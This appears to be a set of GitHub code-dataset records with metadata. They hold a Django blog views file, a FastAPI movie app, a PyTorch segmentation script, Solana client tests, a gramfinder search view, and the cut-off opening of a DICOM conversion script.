"usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 48, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 55, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 55, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 56, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 56, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 57, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 57, "usage_type": "name"}]} {"seq_id": "26661054580", "text": "from django.shortcuts import render,get_object_or_404\nfrom post.models import post\nfrom subscribe.models import sub\nfrom django.core.paginator import Paginator,EmptyPage,PageNotAnInteger\nfrom django.db.models import Count,Q\n\ndef search(request):\n\tqueryset=post.objects.all()\n\tsearched=request.GET.get('q')\n\tif searched:\n\t\tfind=queryset.filter(\n\t\t\tQ(title__icontains=searched) |\n\t\t\tQ(overview__icontains=searched)\n\t\t\t).distinct()\n\tcontext={'result':find}\n\n\treturn render(request, 'search.html',context)\n\n\ndef get_cat_count():\n\tcount=post.objects.values('cat__title').annotate(Count('cat'))\n\ndef index(request):\n\tft=post.objects.filter(featured=True)\n\tlatest=post.objects.order_by('-time')[0:3]\n\tif request.method == 'POST':\n\t\temail=request.POST['Email']\n\t\treg=sub()\n\t\treg.email=email\n\t\treg.save()\n\tcontext={\n\t\t'post_data':ft,\n\t\t'latest':latest\n\t}\n\treturn render(request,'index.html',context)\n\n\ndef blog(request):\n\tcat_count=get_cat_count()\n\tarticle = post.objects.all()\n\tpagination=Paginator(article,4)\n\tpg='page'\n\tpage=request.GET.get(pg)\n\tlatest=post.objects.order_by('-time')[0:4]\n\ttry:\n\t\tset=pagination.page(page)\n\texcept EmptyPage:\n\t\tset=pagination.page(Paginator.num_pages)\n\texcept PageNotAnInteger:\n\t\tset = pagination.page(1)\n\n\tcontext={\n\t\t'post':set,\n\t\t'pg':pg,\n\t\t'latest':latest,\n\t\t'count':cat_count\n\t}\n\treturn render(request,'blog.html',context)\n\n\n\ndef Post(request,id):\n\tdata=get_object_or_404(post,id=id)\n\tlatest=post.objects.order_by('-time')[0:4]\n\tcontext={\n\t\t\"data\":data,'latest':latest\n\t}\n\treturn render(request,'post.html',context)", "repo_name": "sarkersourav55/Sourav-s_blog", "sub_path": "index/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "post.models.post.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 13, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "post.models.post.objects.values", "line_number": 21, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.Count", "line_number": 21, "usage_type": "call"}, {"api_name": "post.models.post.objects.filter", "line_number": 24, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 24, "usage_type": "name"}, {"api_name": "post.models.post.objects.order_by", "line_number": 25, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 25, "usage_type": "name"}, {"api_name": "subscribe.models.sub", "line_number": 28, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "post.models.post.objects.all", "line_number": 40, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 40, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 41, "usage_type": "call"}, {"api_name": "post.models.post.objects.order_by", "line_number": 44, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 44, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 47, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator.num_pages", "line_number": 48, "usage_type": "attribute"}, {"api_name": "django.core.paginator.Paginator", "line_number": 48, "usage_type": "name"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 49, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 63, "usage_type": "call"}, {"api_name": "post.models.post", "line_number": 63, "usage_type": "argument"}, {"api_name": "post.models.post.objects.order_by", "line_number": 64, "usage_type": "call"}, {"api_name": "post.models.post.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "post.models.post", "line_number": 64, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 68, "usage_type": "call"}]} {"seq_id": "70146115430", "text": "from fastapi import FastAPI, Request, HTTPException, status\nfrom fastapi.responses import HTMLResponse, FileResponse, JSONResponse\nimport uvicorn\nfrom sklearn.datasets import load_iris\nfrom sklearn.naive_bayes import GaussianNB\nfrom pydantic import BaseModel\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.responses import RedirectResponse\nfrom fastapi.templating import Jinja2Templates \n\n# Creating FastAPI instance\napp = FastAPI(title=\"Movie API\", openapi_url=\"/openapi.json\")\n\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\norigins = [\"*\"]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n# Creating class to define the request body\n# and the type hints of each attribute\nclass request_body(BaseModel):\n sepal_length : float\n sepal_width : float\n petal_length : float\n petal_width : float\n \n\n@app.get(\"/\")\nasync def login(request: Request)->HTMLResponse:\n context = {\n \"request\": request,\n }\n return templates.TemplateResponse(\"index.html\", context=context)\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom ast import literal_eval\nimport json\nfrom typing import Optional\nimport imdb\nimport requests\n\ndef search_movie_poster(movie_title):\n # Create an instance of the IMDb class\n ia = imdb.IMDb()\n\n # Search for the movie by title\n movies = ia.search_movie(movie_title)\n\n if movies:\n # Retrieve the first movie from the search results\n movie = movies[0]\n\n # Get the IMDb ID of the movie\n movie_id = movie.movieID\n\n # Fetch additional details for the movie\n ia.update(movie)\n\n # Retrieve the IMDb poster URL for the movie\n poster_url = movie.get('full-size cover url')\n\n if poster_url:\n return poster_url\n else:\n return None\n else:\n return None\n\n\n\n@app.get(\"/get_movie_data\")\nasync def get_movies()->JSONResponse:\n # credits_df = pd.read_csv(\"DATA/credits.csv\")\n # movies_df = pd.read_csv(\"DATA/movies.csv\")\n\n with open(\"DATA/json_files/movies.json\") as file:\n data = json.load(file)\n\n # Create a DataFrame from the JSON data\n movies_df = pd.DataFrame(data)\n \n # Define the maximum number of entries to fetch\n max_entries = 200\n\n movie_data = []\n \n # Iterate over the limited number of rows in the DataFrame\n for _, row in movies_df.head(max_entries).iterrows():\n\n tmdb_id = row[\"tmdb_id\"]\n imdb_id = row[\"imdb_id\"]\n title = row[\"title\"]\n original_title = row[\"original_title\"]\n tagline = row[\"tagline\"]\n overview = row[\"overview\"]\n # \"genre\": [\n # \"Action\",\n # \"Adventure\",\n # \"Fantasy\",\n # \"Science Fiction\"\n # ],\n # \"director\": [],\n # \"actors\": [],\n release_year = str(row[\"release_year\"])\n runtime = str(row[\"runtime\"])\n language = row[\"language\"]\n country = row[\"country\"]\n poster_url = row[\"poster_url\"]\n trailer_url = row[\"trailer_url\"]\n revenue = str(row[\"revenue\"])\n rating = str(row[\"rating\"])\n popularity = str(row[\"popularity\"])\n vote_average = str(row[\"vote_average\"])\n vote_count = str(row[\"vote_count\"])\n\n movie = {\n \"tmdb_id\": tmdb_id,\n \"imdb_id\": imdb_id,\n \"title\": title,\n \"original_title\": original_title,\n \"tagline\": tagline,\n \"overview\": overview,\n \"release_year\": release_year,\n \"runtime\": runtime,\n \"language\": language,\n \"country\": country,\n \"poster_url\": poster_url,\n \"trailer_url\": trailer_url,\n \"revenue\": revenue,\n \"rating\": rating,\n \"popularity\": popularity,\n \"vote_average\": vote_average,\n \"vote_count\": vote_count\n }\n \n movie_data.append(movie)\n\n return JSONResponse(content=movie_data)\n\n\nfrom pydantic import BaseModel\n\nclass SwipeAction(BaseModel):\n id: int\n username: str\n swipeDirection: str\n\n# use this for a users swipe to rank a movie by id \n@app.post(\"/counter/\")\ndef handle_swipe_action(swipe_action: SwipeAction):\n swipe_action_dict = swipe_action.dict()\n with open(\"DATA/ratings_test.json\", \"a\") as outfile:\n json.dump(swipe_action_dict, outfile, indent=2)\n outfile.write(\",\\n\")\n\n # print(\"Received swipe action:\", swipe_action)\n return {\"message\": \"Swipe action received\"}\n # if item_id not in counters:\n # counters[item_id] = {}\n \n # # Check if the username exists for the item ID\n # if username not in counters[item_id]:\n # counters[item_id][username] = 0\n \n # # Increment or decrement the counter based on the 'increment' parameter\n # if increment:\n # counters[item_id][username] += 1\n # else:\n # counters[item_id][username] -= 1\n \n # return {\"item_id\": item_id, \"username\": username, \"counter\": counters[item_id][username]}\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "jeanth20/Movie_recommendation_ML", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fastapi.FastAPI", "line_number": 13, "usage_type": "call"}, {"api_name": "fastapi.staticfiles.StaticFiles", "line_number": 15, "usage_type": "call"}, {"api_name": "fastapi.templating.Jinja2Templates", "line_number": 17, "usage_type": "call"}, {"api_name": "fastapi.middleware.cors.CORSMiddleware", "line_number": 22, "usage_type": "argument"}, {"api_name": "pydantic.BaseModel", "line_number": 31, "usage_type": "name"}, {"api_name": "fastapi.Request", "line_number": 39, "usage_type": "name"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 39, "usage_type": "name"}, {"api_name": "imdb.IMDb", "line_number": 61, "usage_type": "call"}, {"api_name": "json.load", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "call"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 155, "usage_type": "call"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 89, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 160, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 170, "usage_type": "call"}]} {"seq_id": "33828949718", "text": "\"\"\"\nThis file holds the trainer for the segmentation network.\n\"\"\"\n\nimport argparse\nimport numpy as np\nimport os\nimport platform\n\n# pytorch includes\nimport torch\nimport torch.nn as nn\nimport torchvision as tv\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\n\n# ml_utils includes\nfrom general.utils import create_session_dir, retain_session_dir\n\n# local includes\nfrom datasets import RGBPatches\nfrom cropunet import CropUNet\nfrom utils import transform_cdl\n\npe = os.path.exists\npj = os.path.join\nHOME = os.path.expanduser(\"~\")\nif platform.node() == \"matt-XPS-8900\":\n DATA = HOME\nelse:\n DATA = \"/media/data\"\n\n\ndef main(args):\n session_dir = os.path.dirname(args.data_dir_or_file)\n supdir = pj(session_dir, \"segmentations\")\n output_dir = create_session_dir(supdir, dir_stub=\"segment_%02d\")\n\n dataset = RGBPatches(args.data_dir_or_file, args.labels_dir_or_file,\n mode=\"test\")\n num_classes = dataset.get_num_cats()\n# loader = DataLoader(dataset,\n# batch_size=args.batch_size,\n# num_workers=8,\n# shuffle=True)\n model = CropUNet(num_classes=num_classes)\n model.load_state_dict( torch.load(args.model_path) )\n if args.use_cuda:\n model = model.cuda()\n model.eval()\n for i in range(len(dataset)):\n patch,label = dataset[i]\n patch.unsqueeze_(0)\n label,_ = transform_cdl(label.cpu().data.numpy())\n label = np.transpose(label, (2,0,1))\n label = torch.FloatTensor(label)\n if args.use_cuda:\n patch = Variable(patch).cuda()\n label = Variable(label).cuda()\n else:\n patch = Variable(patch)\n label = Variable(label)\n yhat = model(patch)\n preds = torch.argmax(yhat, dim=1).squeeze_()\n preds,_ = transform_cdl(preds.cpu().data.numpy())\n preds = np.transpose(preds, (2,0,1))\n preds = torch.FloatTensor(preds)\n if args.use_cuda:\n preds = Variable(preds).cuda()\n else:\n preds = Variable(preds)\n patch = patch.squeeze()\n tv.utils.save_image([patch, preds, label], pj(output_dir,\n \"segments_%03d.png\" % (i)))\n\n retain_session_dir(output_dir)\n\n\ndef _test_main(args):\n print(\"This function does not currently have any tests.\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--test\", action=\"store_true\",\n help=\"If set, just run the test code\")\n parser.add_argument(\"--mp\", \"--model-path\", dest=\"model_path\", type=str,\n default=pj(HOME, \"Training/cropnet/models/seg_model.pkl\"))\n parser.add_argument(\"-d\", \"--data-dir-or-file\", type=str,\n default=pj(HOME, \"Training/cropnet/sessions/session_07/feats.npy\"))\n parser.add_argument(\"-l\", \"--labels-dir-or-file\", type=str,\n default=pj(DATA, \"Datasets/HLS/test_imgs/cdl/\" \\\n \"cdl_2016_neAR_0_0_500_500.npy\"))\n parser.add_argument(\"--no-cuda\", dest=\"use_cuda\", action=\"store_false\")\n args = parser.parse_args()\n if args.test:\n _test_main(args)\n else:\n main(args)\n", "repo_name": "OpenGeoscience/deepres", "sub_path": "cropnet/cropnet/segmenter.py", "file_name": "segmenter.py", "file_ext": "py", "file_size_in_byte": 3131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "platform.node", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "general.utils.create_session_dir", "line_number": 37, "usage_type": "call"}, {"api_name": "datasets.RGBPatches", "line_number": 39, "usage_type": "call"}, {"api_name": "cropunet.CropUNet", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.transform_cdl", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 64, "usage_type": "call"}, {"api_name": "utils.transform_cdl", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 71, "usage_type": "call"}, {"api_name": "torchvision.utils.save_image", "line_number": 73, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 73, "usage_type": "attribute"}, {"api_name": "general.utils.retain_session_dir", "line_number": 76, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 83, "usage_type": "call"}]} {"seq_id": "74839515109", "text": "from _pytest.logging import LogCaptureFixture\nimport pytest\n\nfrom pytest_mock import MockerFixture\n\nfrom mock import AsyncMock\n\nfrom pythclient.solana import SolanaAccount, SolanaPublicKey, SolanaClient\n\n\n@pytest.fixture\ndef solana_pubkey() -> SolanaPublicKey:\n return SolanaPublicKey(\"AHtgzX45WTKfkPG53L6WYhGEXwQkN1BVknET3sVsLL8J\")\n\n\n@pytest.fixture\ndef solana_account(solana_pubkey: SolanaPublicKey, solana_client: SolanaClient) -> SolanaAccount:\n return SolanaAccount(\n key=solana_pubkey,\n solana=solana_client,\n )\n\n\n@pytest.fixture()\ndef mock_get_account_info(mocker: MockerFixture) -> AsyncMock:\n async_mock = AsyncMock()\n mocker.patch('pythclient.solana.SolanaClient.get_account_info', side_effect=async_mock)\n return async_mock\n\n\ndef test_solana_account_update_with_rpc_response(solana_account: SolanaAccount) -> None:\n assert solana_account.slot is None\n assert solana_account.lamports is None\n\n slot = 106498726\n value = {\n \"lamports\": 1000000000\n }\n\n solana_account.update_with_rpc_response(slot=slot, value=value)\n\n assert solana_account.slot == slot\n assert solana_account.lamports == value[\"lamports\"]\n\n\n@pytest.mark.asyncio\nasync def test_solana_account_update_success(solana_account: SolanaAccount,\n mock_get_account_info: AsyncMock) -> None:\n\n mock_get_account_info.return_value = {'context': {'slot': 93752509}, 'value': {'lamports': 1000000001}}\n\n await solana_account.update()\n assert solana_account.slot == mock_get_account_info.return_value['context']['slot']\n assert solana_account.lamports == mock_get_account_info.return_value['value']['lamports']\n\n\n@pytest.mark.asyncio\nasync def test_solana_account_update_fail(solana_account: SolanaAccount,\n mock_get_account_info: AsyncMock,\n caplog: LogCaptureFixture,\n solana_pubkey: SolanaPublicKey) -> None:\n mock_get_account_info.return_value = {'value': {'lamports': 1000000001}}\n exc_message = f'error while updating account {solana_pubkey}'\n await solana_account.update()\n assert exc_message in caplog.text\n\n\n@pytest.mark.asyncio\nasync def test_solana_account_update_null(solana_account: SolanaAccount,\n mock_get_account_info: AsyncMock,\n caplog: LogCaptureFixture,\n solana_pubkey: SolanaPublicKey,) -> None:\n mock_get_account_info.return_value = {'context': {'slot': 93752509}}\n exc_message = f'got null value from Solana getAccountInfo for {solana_pubkey}; ' \\\n + f'non-existent account? {mock_get_account_info.return_value}'\n await solana_account.update()\n assert exc_message in caplog.text\n\n\ndef test_solana_account_str(solana_account: SolanaAccount) -> None:\n actual = str(solana_account)\n expected = f\"SolanaAccount ({solana_account.key})\"\n assert actual == expected\n", "repo_name": "pyth-network/pyth-client-py", "sub_path": "tests/test_solana_account.py", "file_name": "test_solana_account.py", "file_ext": "py", "file_size_in_byte": 3047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pythclient.solana.SolanaPublicKey", "line_number": 13, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pythclient.solana.SolanaPublicKey", "line_number": 12, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaPublicKey", "line_number": 17, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaClient", "line_number": 17, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 18, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 17, "usage_type": "name"}, {"api_name": "pytest_mock.MockerFixture", "line_number": 25, "usage_type": "name"}, {"api_name": "mock.AsyncMock", "line_number": 26, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 24, "usage_type": "call"}, {"api_name": "mock.AsyncMock", "line_number": 25, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 31, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 47, "usage_type": "name"}, {"api_name": "mock.AsyncMock", "line_number": 48, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 58, "usage_type": "name"}, {"api_name": "mock.AsyncMock", "line_number": 59, "usage_type": "name"}, {"api_name": "_pytest.logging.LogCaptureFixture", "line_number": 60, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaPublicKey", "line_number": 61, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 69, "usage_type": "name"}, {"api_name": "mock.AsyncMock", "line_number": 70, "usage_type": "name"}, {"api_name": "_pytest.logging.LogCaptureFixture", "line_number": 71, "usage_type": "name"}, {"api_name": "pythclient.solana.SolanaPublicKey", "line_number": 72, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pythclient.solana.SolanaAccount", "line_number": 80, "usage_type": "name"}]} {"seq_id": "1502950721", "text": "import math\nimport time\nimport collections\n\nfrom sqlalchemy import func, or_, and_, desc\nfrom sqlalchemy.orm import joinedload\nfrom clld.db.meta import DBSession\nfrom clld.db.models import common\nfrom matplotlib.cm import viridis\nfrom matplotlib.colors import to_hex\n\nfrom gramfinder import models\nfrom gramfinder.maps import SearchMap\nfrom gramfinder import config\n\n\ndef vir(n):\n return to_hex(viridis(float(n)))\n\n\ndef search(ctx, req):\n doctypes = DBSession.query(models.Doctype).order_by(desc(models.Doctype.rank)).all()\n inlgs = {r.id: r for r in DBSession.query(models.Inlg)}\n ndocs = DBSession.query(models.Document).count()\n cutoff = 400 if ndocs > 1000 else 10\n selected_doctypes = {t.partition('-')[2] for t in req.params if t.startswith('dt-')} \\\n or [\"grammar\", \"grammar_sketch\"]\n tmpl = {\n 'hits': [],\n 'q': {},\n 'inlgs': sorted([(r.id, r.description, r.ndocs) for r in inlgs.values() if r.ndocs > cutoff], key=lambda i: -i[2]) + [('any', 'All', ndocs)],\n 'inlg_map': inlgs,\n 'doctypes': [(dt, dt.id in selected_doctypes) for dt in doctypes],\n }\n\n s = time.time()\n print('searching ...')\n q = {t.partition('-')[2]: s for t, s in req.params.items() if t.startswith('query-') and s.strip()}\n if not q:\n return tmpl\n\n by_lg = collections.defaultdict(list)\n\n def qinlgtyp(q, inlg):\n if inlg == 'any':\n return config.tsearch(models.Page.terms, q, 'simple')\n return and_(models.Document.inlg_pk == inlgs[inlg].pk, config.tsearch(models.Page.terms, q, inlg))\n\n dt_id2pk = {dt.id: dt.pk for dt in doctypes}\n selected_doctypes = set(dt_id2pk[dt] for dt in selected_doctypes)\n res = DBSession\\\n .query(models.Document, func.count(models.Page.pk))\\\n .join(models.Page) \\\n .join(models.DocumentDoctype)\\\n .filter(models.DocumentDoctype.doctype_pk.in_(selected_doctypes))\\\n .filter(or_(*[qinlgtyp(term, inlg) for inlg, term in q.items()]))\\\n .group_by(models.Document.pk, common.Source.pk)\\\n .all()\n for doc, c in res:\n for lid in doc.langs.split():\n by_lg[lid].append((doc, c))\n\n occs = [sum(c for _, c in l) for l in by_lg.values()]\n if not occs:\n return tmpl\n\n min_occs, max_occs = min(occs), max(occs)\n occs = {c: math.log(c) for c in occs}\n min_log_occs = min(occs.values())\n max_log_occs = max(occs.values())\n colors = {\n o: vir(float(lo - min_log_occs) / (max_log_occs - min_log_occs) if max_log_occs > min_log_occs else 0)\n for o, lo in occs.items()}\n\n langs = {l.id: l for l in DBSession.query(common.Language)\\\n .options(joinedload(models.GramfinderLanguage.family))\\\n .filter(common.Language.id.in_(list(by_lg)))}\n #print(len(res))\n\n tmpl.update({\n 'map': SearchMap(\n (\n [langs[lid] for lid in by_lg],\n {lid: colors[sum(c for _, c in hits)] for lid, hits in by_lg.items()},\n [(min_occs, vir(0)), (None, vir(0.25)), (None, vir(0.5)), (None, vir(0.75)), (max_occs, vir(1))],\n ),\n req),\n 'hits': res,\n 'q': q,\n 'by_lg': by_lg,\n 'langs': langs,\n })\n print('... done: {}'.format(time.time() - s))\n return tmpl", "repo_name": "clld/gramfinder", "sub_path": "gramfinder/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3313, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.colors.to_hex", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.cm.viridis", "line_number": 18, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession.query", "line_number": 22, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession", "line_number": 22, "usage_type": "name"}, {"api_name": "gramfinder.models.Doctype", "line_number": 22, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.desc", "line_number": 22, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession.query", "line_number": 23, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession", "line_number": 23, "usage_type": "name"}, {"api_name": "gramfinder.models.Inlg", "line_number": 23, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 23, "usage_type": "name"}, {"api_name": "clld.db.meta.DBSession.query", "line_number": 24, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession", "line_number": 24, "usage_type": "name"}, {"api_name": "gramfinder.models.Document", "line_number": 24, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 24, "usage_type": "name"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 42, "usage_type": "call"}, {"api_name": "gramfinder.config.tsearch", "line_number": 46, "usage_type": "call"}, {"api_name": "gramfinder.config", "line_number": 46, "usage_type": "name"}, {"api_name": "gramfinder.models.Page", "line_number": 46, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 46, "usage_type": "name"}, {"api_name": "sqlalchemy.and_", "line_number": 47, "usage_type": "call"}, {"api_name": "gramfinder.models.Document", "line_number": 47, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 47, "usage_type": "name"}, {"api_name": "gramfinder.config.tsearch", "line_number": 47, "usage_type": "call"}, {"api_name": "gramfinder.config", "line_number": 47, "usage_type": "name"}, {"api_name": "gramfinder.models.Page", "line_number": 47, "usage_type": "attribute"}, {"api_name": "clld.db.meta.DBSession.query", "line_number": 51, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession", "line_number": 51, "usage_type": "name"}, {"api_name": "gramfinder.models.Document", "line_number": 52, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 52, "usage_type": "name"}, {"api_name": "sqlalchemy.func.count", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 52, "usage_type": "name"}, {"api_name": "gramfinder.models.Page", "line_number": 52, "usage_type": "attribute"}, {"api_name": "gramfinder.models.Page", "line_number": 53, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 53, "usage_type": "name"}, {"api_name": "gramfinder.models.DocumentDoctype", "line_number": 54, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 54, "usage_type": "name"}, {"api_name": "gramfinder.models.DocumentDoctype.doctype_pk.in_", "line_number": 55, "usage_type": "call"}, {"api_name": "gramfinder.models.DocumentDoctype", "line_number": 55, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 55, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 56, "usage_type": "call"}, {"api_name": "gramfinder.models.Document", "line_number": 57, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 57, "usage_type": "name"}, {"api_name": "clld.db.models.common.Source", "line_number": 57, "usage_type": "attribute"}, {"api_name": "clld.db.models.common", "line_number": 57, "usage_type": "name"}, {"api_name": "math.log", "line_number": 68, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession.query", "line_number": 75, "usage_type": "call"}, {"api_name": "clld.db.meta.DBSession", "line_number": 75, "usage_type": "name"}, {"api_name": "clld.db.models.common.Language", "line_number": 75, "usage_type": "attribute"}, {"api_name": "clld.db.models.common", "line_number": 75, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.joinedload", "line_number": 76, "usage_type": "call"}, {"api_name": "gramfinder.models.GramfinderLanguage", "line_number": 76, "usage_type": "attribute"}, {"api_name": "gramfinder.models", "line_number": 76, "usage_type": "name"}, {"api_name": "clld.db.models.common.Language.id.in_", "line_number": 77, "usage_type": "call"}, {"api_name": "clld.db.models.common.Language", "line_number": 77, "usage_type": "attribute"}, {"api_name": "clld.db.models.common", "line_number": 77, "usage_type": "name"}, {"api_name": "gramfinder.maps.SearchMap", "line_number": 81, "usage_type": "call"}, {"api_name": "time.time", "line_number": 93, "usage_type": "call"}]} {"seq_id": "5714632608", "text": "#!/usr/bin/env python3\n\n# Convert a DICOM file into plain text in a suitable format\n# for passing into the anonymisation/annotations parts of SemEHR.\n# Can alternatively read from the MongoDB dicom database instead of files.\n# Usage: -y default.yaml -i input -o output\n# -y = path to the default.yaml file to get FileSystemRoot and Mongo\n# -i = input DICOM file, full path or relative to FileSystemRoot,\n# or if not found then looked up in the MongoDB.\n# -o = output filename or directory for the plain text file\n# -m = output filename or directory for metadata json file\n# --semehr-unique = only extract records from Mongo dicom database\n# if they are not already in the SemEHR database.\n# Needs both dataLoad and dataExtract yaml files because Mongo is\n# 